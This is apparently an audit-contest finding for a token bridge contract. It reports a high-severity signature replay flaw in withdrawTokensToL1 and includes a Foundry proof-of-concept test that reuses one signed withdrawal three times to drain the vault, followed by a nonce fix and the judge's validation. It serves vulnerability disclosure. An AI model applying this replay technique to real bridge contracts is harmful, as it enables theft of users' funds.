Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Reuse withdraw message

Summary

User can reuse withdraw message many time.

Vulnerability Details

User can reuse signed withdraw message many time to withdraw fund more than actual deposited

Poc:

function testUserCanReuseMessageManyTime() public {
// transfer extra amount to vault
vm.prank(deployer);
token.transfer(address(vault), 10e19);
// deposit money - 10e18
vm.startPrank(user);
uint256 depositAmount = 10e18;
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(user, depositAmount),
operator.key
);
// withdraw 1
tokenBridge.withdrawTokensToL1(user, (depositAmount), v, r, s);
// submit message withdraw again
tokenBridge.withdrawTokensToL1(user, (depositAmount), v, r, s);
// again
tokenBridge.withdrawTokensToL1(user, (depositAmount), v, r, s);
console2.log(token.balanceOf(address(user)));
vm.stopPrank();
}

Impact

User can submit withdraw with 1 message til drain vault

Tools Used

Foundry & Manual review

Recommendations

Add nonce in message withdraw to sign.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.